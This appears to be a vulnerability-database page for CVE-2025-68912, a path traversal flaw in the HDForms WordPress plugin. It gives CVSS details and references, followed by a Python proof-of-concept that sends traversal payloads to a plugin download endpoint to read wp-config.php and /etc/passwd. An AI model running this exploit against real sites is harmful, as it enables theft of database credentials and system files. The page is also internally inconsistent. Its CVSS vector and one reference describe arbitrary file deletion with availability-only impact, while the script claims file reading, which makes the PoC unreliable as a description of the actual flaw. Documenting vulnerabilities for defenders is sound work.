CVE-2025-68912

Description

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Harmonic Design HDForms hdforms allows Path Traversal.This issue affects HDForms: from n/a through <= 1.6.1.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

HDForms <= 1.6.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-68912 Path Traversal PoC
# Target: WordPress HDForms Plugin <= 1.6.1

def exploit_path_traversal(target_url, file_path):
    """
    Exploit path traversal vulnerability in HDForms plugin
    Args:
        target_url: Base URL of the vulnerable WordPress site
        file_path: Path to the file to read (e.g., ../../../../etc/passwd)
    """
    # Construct the vulnerable endpoint
    endpoint = f"{target_url}/wp-content/plugins/hdforms/includes/download.php"
    
    # Path traversal payload
    params = {
        'file': file_path
    }
    
    try:
        response = requests.get(endpoint, params=params, timeout=10)
        if response.status_code == 200:
            print(f"[+] Successfully read: {file_path}")
            print(response.text)
            return response.text
        else:
            print(f"[-] Failed to read file. Status: {response.status_code}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

if __name__ == "__main__":
    # Target configuration
    target = "http://vulnerable-site.com"
    
    # Example: Read wp-config.php
    payloads = [
        "../../../../wp-config.php",
        "../../../../../etc/passwd",
        "../../../wp-content/plugins/hdforms/readme.txt"
    ]
    
    for payload in payloads:
        print(f"\n[*] Testing payload: {payload}")
        exploit_path_traversal(target, payload)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68912
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68912
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68912/
[4] VulDB https://vuldb.com/cve/CVE-2025-68912
[5] https://patchstack.com/database/Wordpress/Plugin/hdforms/vulnerability/wordpress-hdforms-plugin-1-6-1-arbitrary-file-deletion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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